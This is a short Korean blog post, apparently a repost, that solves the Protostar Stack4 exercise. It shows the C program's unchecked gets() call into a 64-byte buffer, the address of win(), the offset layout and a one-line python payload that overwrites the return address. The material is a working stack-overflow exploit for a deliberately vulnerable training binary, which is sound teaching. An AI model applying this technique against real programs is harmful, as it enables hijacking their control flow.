https://ii4gsp.tistory.com/50?pidx=0

 

Exploit Exercises [Protostar - Stack4]

#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } ret를 win() 함수의 시작 주소로 조작해야한다. 스택이 0x50만큼 할당되었

ii4gsp.tistory.com

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 

 

0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소

 

(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4

'경로 및 정보' 카테고리의 다른 글

User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
블로그 이미지

wtdsoul

,